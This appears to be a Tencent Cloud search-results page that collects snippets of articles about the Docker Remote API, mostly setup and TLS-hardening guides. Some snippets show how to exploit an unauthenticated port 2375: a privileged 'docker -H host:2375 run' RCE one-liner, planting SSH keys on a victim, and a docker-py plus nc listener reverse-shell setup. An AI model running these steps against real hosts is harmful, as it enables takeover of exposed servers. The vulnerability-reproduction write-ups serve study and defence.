学习
实践
活动
工具
TVP
写文章

RCE using Docker API

Easy RCE using Docker API on port 2375/tcp Easy RCE using Docker API on port 2375/tcp docker -H <host 来源推特:https://twitter.com/ptswarm/status/1338477426276511749 docker -H <host>:2375 run --rm -it --privileged

30630

Docker 开启API:2375

Docker 开启API Docker默认文件位置:/usr/lib/systemd/system/docker.service cd /usr/lib/systemd/system/ vim docker.service exists and systemd currently does not support the cgroup feature set required # for containers run by docker ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock --containerd=/run/containerd s HUP $MAINPID TimeoutSec=0 RestartSec=2 Restart=always 在原本的ExecStart中添加tcp://0.0.0.0:2375 ---- 重启docker 守护进程和docker.service systemctl daemon-reload systemctl restart docker.service systemctl start docker.service

11320
  • 广告
    关闭

    2022腾讯全球数字生态大会

    11月30-12月1日,邀您一起“数实创新,产业共进”!

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    docker remote api 加密

    /opt/cert/docker cd /opt/cert/docker openssl genrsa -aes256 -out ca-key.pem 4096 openssl req -new -x509 配置Docker启用TLS vim /usr/lib/systemd/system/docker.service 在ExecStart属性后追加 --tlsverify --tlscacert=/opt /cert/docker/ca.pem \ --tlscert=/opt/cert/docker/server-cert.pem \ --tlskey=/opt/cert/docker/server-key.pem restart docker 查看2376端口是否启动 netstat -nltp | grep 2375 本地连接测试Docker API是否可用 curl https://zouyujie.top :2375/info --cert /opt/cert/docker/cert.pem --key /opt/cert/docker/key.pem --cacert /opt/cert/docker/

    11520

    Docker Client (another java docker client api

    前一篇提到了docker-java,这里介绍另一个docker client 库,Docker Client 版本兼容 兼容17.03.1~ce - 17.12.1~ce (点 [here][1]查看) </artifactId> <version>8.15.0</version> </dependency> 使用举例 // Create a client based on DOCKER_HOST and DOCKER_CERT_PATH env vars final DockerClient docker = DefaultDockerClient.fromEnv().build(); // Pull an image docker.pull("busybox"); // Bind container ports to host ports final String[] ports = (id); // Remove container docker.removeContainer(id); // Close the docker client docker.close(); --

    53230

    docker-java Docker的java API

    版本支持 Supports a subset of the Docker Remote API v1.37, Docker Server version since 1.12.6 <dependency 环境 系统的可配置项及默认值如下: DOCKER_HOST The Docker Host URL, e.g. tcp://localhost:2376 or unix:///var/run/docker.sock files (like .dockercfg) api.version The API version, e.g. 1.23. registry.url Your registry's address =tcp://localhost:2376 DOCKER_TLS_VERIFY=1 DOCKER_CERT_PATH=/home/user/.docker/certs DOCKER_CONFIG=/home /user/.docker api.version=1.23 registry.url=https://index.docker.io/v1/ registry.username=dockeruser

    3.1K40

    Docker Daemon API未授权

    影响范围 Docker ALL 漏洞类型 未授权访问类 利用条件 影响范围应用 漏洞概述 Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时 ,攻击者可以通过恶意调用相关的API实现远程命令执行 漏洞复现 环境搭建 下载环境 mkdir docker cd docker wget https://raw.githubusercontent.com /vulhub/master/docker/unauthorized-rce/docker-compose.yml wget https://raw.githubusercontent.com/vulhub /vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh 之后给docker-entrypoint.sh赋予执行权限 chmod 777 docker-entrypoint.sh 编译并启动环境 docker-compose up -d 漏洞利用 漏洞检测 docker -H tcp://192.168.17.140:2375 images

    11730

    Docker remote API 之 镜像篇

    filter是一个包括一个过滤对象的json,形式如‘{“dangling”:[“true”]}’ GET /images/json 我们能够尝试请求一下 curl -s -XGET theegg.me/docker - **repo** – 仓库 - **tag** – 标签 - **registry** – 从哪个registry 演示样例请求: curl -s -XPOST theegg.me/docker 演示样例请求: 不清楚为什么无法请求 检查镜像 GET /images/(name)/json 返回一些指定镜像名的底层信息 演示样例请求: curl -s -XGET theegg.me/docker 500:server错误 获取镜像历史 GET /images/(name)/history 返回镜像name的历史 演示样例请求: curl -XGET -s theegg.me/docker Hub上搜索指定镜像 演示样例请求: curl -XGET -s theegg.me/docker/images/search?

    7020

    基于docker可使用的api

    1、java开发可使用的开源api (1)基于http、本地化、集群对接dockerAPI 开源代码地址: https://github.com/spotify/docker-client maven 包地址: http://mvnrepository.com/artifact/com.spotify/docker-client 用户手册: https://github.com/spotify/docker-client /blob/master/docs/user_manual.md (2)基于TCP对接的dockerAPI 开源代码地址: https://github.com/docker-java/docker-java maven包地址: http://mvnrepository.com/artifact/com.github.docker-java/docker-java ---- 2、Python官方api、 Go官方api、curl官方api 参考地址: https://docs.docker.com/engine/api/

    57730

    Docker API暴露下的危机

    0x01:简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows 机器上,也可以实现虚拟化。 当您在系统上安装 docker 时,它将暴露位于端口2375上的本地主机上的 API。 这个 API 可以用来与 docker 引擎交互,docker 引擎基本上允许您做任何您想要的未经身份验证的事情。 在这种情况下,没有一个外部方能够访问您的docker API,因为它没有向世界公开。 但是,在某些情况下,可以更改该API,以便外部资源可以访问它。如果做得不恰当,那么 docker API 将向世界公开 0x02:查找 ? root权限到手 0x04:预防 绝大多数程序猿使用 docker 容器来部署代码。在这个过程中,他们可能会向公众公开他们的 docker API,这可能意味着大麻烦。

    44120

    Docker API未授权漏洞复现

    01 漏洞成因 如果在docker上配置了远程访问,docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,如果没有做限制的话,攻击者就可以通过Docker未授权来控制服务器 02 漏洞搭建 04 漏洞利用 因为主机是mac,然后在里面启用了一个docker,然后再里面又启用了一个docker,所以这里是无法使用替换密钥的方法来登陆第二层docker的 ? 05 实战 这里来模拟测试开启Docker API未授权之后,使用密钥登陆受害者机器 5.1 配置Docker支持远程访问 在这里使用我自己的阿里云主机进行测试 首先要配置docker支持远程访问 进行文件备份 在这里还可以输入docker info 查看 ? 5.3 关闭Docker API未授权 将我们的authorized_keys文件删除,将原来的文件复位 rm authorized_keys mv authorized_keys.bak authorized_keys

    63820

    Docker Remote API简单使用 原

    为了使用Docker REST API,可以先停止docker服务,然后在启动的时候加-H标记开启远程访问: service docker stop docker -d -H unix:/ 然后重启docker服务(service docker restart),即可通过访问主机:端口号/Docker API来操作Docker。 下面使用curl命令来访问Client API之version,curl localhost:4232/version, 同时使用python的json.tool对json输出格式化处理: ? 此外,Docker官方还提供了使用Python编写的API客户端 docker-py,以Client API之version为例: ? /reference/api/docker_remote_api/ http://docker-py.readthedocs.org/en/latest/ (adsbygoogle =

    1.1K10

    mac下开启docker API远程调用

    在Linux环境中,我们要使用docker server端提供的API,就需要设置DOCKER_OPTS= -H tcp://0.0.0.0:2375 server端监听2375端口,我们才可以通过 docker 提供的API进行接口调用。 Docker for mac 的知识点展开就先到这里了。我们的问题是怎么解决Mac OS下docker API的使用问题,目前还没有解决。还需要探索新的东西来解决该问题。 mac下docker API调用实现 现在问题解决的思路很清晰了,闲话不说,直接上成熟的解决方案。 对Mac 的docker原理展开做了一个说明,同时对unix域协议通过go语言实现了一个demo,最后通过socat这个强大的网络工具通过docker安装的方式解决了docker API访问的问题。

    5.1K42

    Docker开启Remote API 访问 2375端口

    Docker常见端口 我看到的常见docker端口包括: 2375:未加密的docker socket,远程root无密码访问主机 2376:tls加密套接字,很可能这是您的CI服务器4243端口作为 API: sudo vim /etc/default/docker 加入下面一行 DOCKER_OPTS="-H tcp://0.0.0.0:2375" 重启docker即可: sudo systemctl 修改配置以后 然后让docker重新读取配置文件,并重启docker服务 systemctl daemon-reload systemctl restart docker 查看docker进程: [root Client: Docker Engine - Community Version: 19.03.0 API version: 1.40 Go version: Remote API的安全配置 Docker 2375 端口入侵服务器 远程连接docker daemon,Docker Remote API 远程访问 Docker Daemon

    3K11

    CoreOS配置Docker API TLS认证 顶

    我们经常会利用Portainer来管理docker环境,也经常会用Jenkins来自动构建和部署docker,远程管理都会使用到Docker API,通常我们只是开启了没有安全保护的2375(通常)端口 Enable the secure remote API on a new socket Create a file called /etc/systemd/system/docker-tls-tcp.socket [Unit] Description=Docker Secured Socket for the API [Socket] ListenStream=2376 BindIPv6Only=both Service ="DOCKER_OPTS=--tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/server.pem --tlskey=/etc # 停止不安全的2375端口 systemctl stop docker-tcp.socket # 禁用该端口 systemctl disable docker-tcp.socket # 重启docker

    74320

    Docker API 未授权访问漏洞复现

    0x01 漏洞简介 该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作DockerDocker API 未授权访问漏洞分析和利用 0x02 环境准备 靶机环境:192.168.126.130 (ubuntu) 攻击环境:192.168.126.128 (kali) 在靶机上使用vulhub vulhub官网地址:https://vulhub.org cd /vulhub/docker/unauthorized-rce docker-compose build docker-compose 0x04 漏洞利用 在kali上安装docker环境 apt-get install docker docker-compose service docker start 在kali上开启nc监听本地1111 import docker client = docker.DockerClient(base_url='http://192.168.126.130:2375/') data = client.containers.run

    11150

    Docker 安装DPlayer-node API弹幕接口

    dplayer 弹幕API DPlayer DPlayer是一个可爱的HTML5 danmaku视频播放器,可以帮助人们轻松地构建视频和danmaku。 /docker/compose/releases/download/1.24.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose 启动Caddy: /etc/init.d/caddy start 反代好了后,你的API地址就为https://xx.com。 : 'https://dplayer.alone88.cn/' //这里填写弹幕地址 } }); </script> 参考:moerats 演示 博主提供的弹幕api地址:https:// new DPlayer({container:document.getElementById('dplayer'),video:{url:url,type:'hls',},danmaku:{id:id,api

    1.2K10

    mac下开启docker API远程调用 转

    install -y socat macOS 1 $ brew install socat Socat 基本语法 1 socat [options]

    ``` docker run -d -v /var/run/docker.sock:/var/run/docker.sock -p 2376:2375 \ bobrik/socat TCP4-LISTEN:2375,fork ,reuseaddr UNIX-CONNECT:/var/run/docker.sock ```

    1.1K20

    乌班图 配置docker 的rest api 访问

    编辑配置文件 systemctl edit docker.service 复制内容进去 [Service] ExecStart= ExecStart=/usr/bin/dockerd -H fd:/ / -H tcp://0.0.0.0:2375 ctrl+x 保存文件为原文件名 刷新配置文件, 重启docker服务 sudo systemctl daemon-reload sudo systemctl restart docker.service sudo netstat -lntp | grep dockerd 测试 curl 127.0.0.1:2375/info netstat -ntlp commandline/dockerd/#bind-docker-to-another-host-port-or-a-unix-socket 更多API 查看官方 https://docs.docker.com /engine/api/v1.40/

    8910

    Docker系列学习文章 - docker API基本介绍和使用(十)

    二、Docker API种类 dockerapi也遵循rest的风格,因此我们了解了上面两点后,我们开始学习docker本身api的相关知识。 其次,我们要了解docker有哪些对外可使用的api,这里docker官方主要有三大对外api Docker Registry API Docker Hub API Docker Remote API API同时也允许操作相关的用户仓库和 library 仓库。 3. Docker Remote API 这套API用于控制主机 Docker 服务端的 API,等价于 docker命令行客户端。 既然docker提供了那3大API库:Docker Registry APIDocker Hub APIDocker Remote API。 查看本地docker API版本可以用 docker version 命令: 1.png 四、如何操作docker API 1.

    4.1K122

    Docker 技术鼻祖 Linux Namespace 入门系列:Namespace API

    2.6.24 完成于 Linux 2.6.29[5] User namespaces CLONE_NEWUSER 始于 Linux 2.6.23 完成于 Linux 3.8[6] namespace 的 API 05 总结 本文仔细研究了 namespace API 的每个组成部分,并将它们结合起来一起使用。 参考链接 Namespaces in operation, part 2: the namespaces API[8] Docker 基础技术:Linux Namespace(上)[9] 脚注 [1] http://man7.org/linux/man-pages/man2/stat.2.html [8] Namespaces in operation, part 2: the namespaces API : https://lwn.net/Articles/531381/ [9] Docker基础技术:Linux Namespace(上): https://coolshell.cn/articles/17010

    1.2K30

    扫码关注腾讯云开发者

    领取腾讯云代金券